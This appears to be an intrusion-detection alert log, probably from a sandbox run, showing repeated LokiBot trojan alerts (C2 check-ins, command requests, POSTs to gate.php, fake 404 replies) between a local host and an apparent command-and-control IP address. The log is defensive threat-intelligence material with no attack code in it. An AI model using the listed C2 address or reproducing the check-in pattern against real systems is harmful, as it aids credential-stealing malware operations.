12/03/20-10:02:36.028626	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.028626	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49727	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.028626	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49727	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.086845	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49727	47.91.79.163	192.168.2.3
12/03/20-10:02:36.313063	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.313063	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.313063	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.313063	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49728	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.313063	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49728	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.372263	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49728	47.91.79.163	192.168.2.3
12/03/20-10:02:36.782392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.782392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.782392	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.782392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49729	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.782392	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49729	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.844796	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49729	47.91.79.163	192.168.2.3
12/03/20-10:02:38.586697	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.586697	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.586697	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.586697	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49730	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.586697	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49730	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.645182	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49730	47.91.79.163	192.168.2.3
12/03/20-10:02:38.904768	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.904768	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.904768	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.904768	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49731	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.904768	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49731	80	192.168.2.3	47.91.79.163
12/03/20-10:02:38.965207	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49731	47.91.79.163	192.168.2.3
12/03/20-10:02:39.202320	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.202320	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.202320	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.202320	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49734	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.202320	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49734	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.261558	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49734	47.91.79.163	192.168.2.3
12/03/20-10:02:39.538013	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.538013	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.538013	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.538013	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49735	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.538013	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49735	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.596359	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49735	47.91.79.163	192.168.2.3
12/03/20-10:02:39.856527	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.856527	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.856527	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.856527	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49736	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.856527	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49736	80	192.168.2.3	47.91.79.163
12/03/20-10:02:39.914695	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49736	47.91.79.163	192.168.2.3
12/03/20-10:02:40.172331	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.172331	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.172331	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.172331	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49739	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.172331	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49739	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.234574	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49739	47.91.79.163	192.168.2.3
12/03/20-10:02:40.464316	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.464316	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.464316	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.464316	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.464316	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49740	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.524907	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49740	47.91.79.163	192.168.2.3
12/03/20-10:02:40.771995	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.771995	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.771995	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.771995	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.771995	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49742	80	192.168.2.3	47.91.79.163
12/03/20-10:02:40.829598	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49742	47.91.79.163	192.168.2.3
12/03/20-10:02:41.097711	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.097711	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.097711	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.097711	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49743	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.097711	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49743	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.155303	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49743	47.91.79.163	192.168.2.3
12/03/20-10:02:41.418474	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.418474	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.418474	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.418474	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49744	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.418474	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49744	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.476969	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49744	47.91.79.163	192.168.2.3
12/03/20-10:02:41.727267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.727267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.727267	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.727267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49747	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.727267	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49747	80	192.168.2.3	47.91.79.163
12/03/20-10:02:41.777842	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49747	47.91.79.163	192.168.2.3
12/03/20-10:02:42.032912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.032912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.032912	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.032912	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49748	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.032912	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49748	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.092413	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49748	47.91.79.163	192.168.2.3
12/03/20-10:02:42.331415	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.331415	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.331415	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.331415	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49749	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.331415	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49749	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.389556	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49749	47.91.79.163	192.168.2.3
12/03/20-10:02:42.653877	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.653877	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.653877	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.653877	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49750	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.653877	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.717299	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49750	47.91.79.163	192.168.2.3
12/03/20-10:02:42.984814	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.984814	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.984814	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.984814	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49751	80	192.168.2.3	47.91.79.163
12/03/20-10:02:42.984814	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49751	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.050733	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49751	47.91.79.163	192.168.2.3
12/03/20-10:02:43.283331	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.283331	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.283331	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.283331	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49752	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.283331	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49752	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.342667	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49752	47.91.79.163	192.168.2.3
12/03/20-10:02:43.612446	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.612446	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.612446	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.612446	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49755	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.612446	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49755	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.673909	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49755	47.91.79.163	192.168.2.3
12/03/20-10:02:43.931445	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.931445	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.931445	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.931445	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49756	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.931445	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49756	80	192.168.2.3	47.91.79.163
12/03/20-10:02:43.995368	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49756	47.91.79.163	192.168.2.3
12/03/20-10:02:44.249687	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.249687	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.249687	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.249687	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49758	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.249687	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49758	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.316339	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49758	47.91.79.163	192.168.2.3
12/03/20-10:02:44.661642	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.661642	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.661642	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.661642	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49759	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.661642	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49759	80	192.168.2.3	47.91.79.163
12/03/20-10:02:44.797400	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49759	47.91.79.163	192.168.2.3
12/03/20-10:02:45.021438	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.021438	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.021438	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.021438	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49760	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.021438	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49760	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.078031	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49760	47.91.79.163	192.168.2.3
12/03/20-10:02:45.361002	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49761	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.361002	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49761	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.361002	TCP	2025381	ET TROJAN LokiBot Checkin	49761	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.361002	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49761	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.361002	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49761	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.419547	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49761	47.91.79.163	192.168.2.3
12/03/20-10:02:45.691222	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49762	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.691222	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49762	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.691222	TCP	2025381	ET TROJAN LokiBot Checkin	49762	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.691222	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49762	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.691222	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49762	80	192.168.2.3	47.91.79.163
12/03/20-10:02:45.752643	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49762	47.91.79.163	192.168.2.3
12/03/20-10:02:46.008231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.008231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.008231	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.008231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49763	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.008231	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49763	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.068412	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49763	47.91.79.163	192.168.2.3
12/03/20-10:02:46.321986	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.321986	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.321986	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.321986	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49764	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.321986	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.384203	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49764	47.91.79.163	192.168.2.3
12/03/20-10:02:46.623971	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.623971	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.623971	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.623971	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49765	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.623971	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49765	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.686219	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49765	47.91.79.163	192.168.2.3
12/03/20-10:02:46.941907	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.941907	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.941907	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.941907	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49766	80	192.168.2.3	47.91.79.163
12/03/20-10:02:46.941907	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49766	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.002928	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49766	47.91.79.163	192.168.2.3
12/03/20-10:02:47.207696	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.207696	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.207696	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.207696	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49767	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.207696	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49767	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.267355	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49767	47.91.79.163	192.168.2.3
12/03/20-10:02:47.508868	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.508868	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.508868	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.508868	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49768	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.508868	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49768	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.583864	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49768	47.91.79.163	192.168.2.3
12/03/20-10:02:47.814806	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.814806	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.814806	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.814806	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49769	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.814806	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49769	80	192.168.2.3	47.91.79.163
12/03/20-10:02:47.873611	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49769	47.91.79.163	192.168.2.3
12/03/20-10:02:48.133006	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.133006	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.133006	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.133006	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49770	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.133006	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49770	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.194022	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49770	47.91.79.163	192.168.2.3
12/03/20-10:02:48.431387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.431387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.431387	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.431387	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49771	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.431387	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49771	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.492338	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49771	47.91.79.163	192.168.2.3
12/03/20-10:02:48.713865	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.713865	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.713865	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.713865	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49772	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.713865	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49772	80	192.168.2.3	47.91.79.163
12/03/20-10:02:48.774088	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49772	47.91.79.163	192.168.2.3
12/03/20-10:02:49.003810	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.003810	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.003810	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.003810	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49773	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.003810	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.3	47.91.79.163
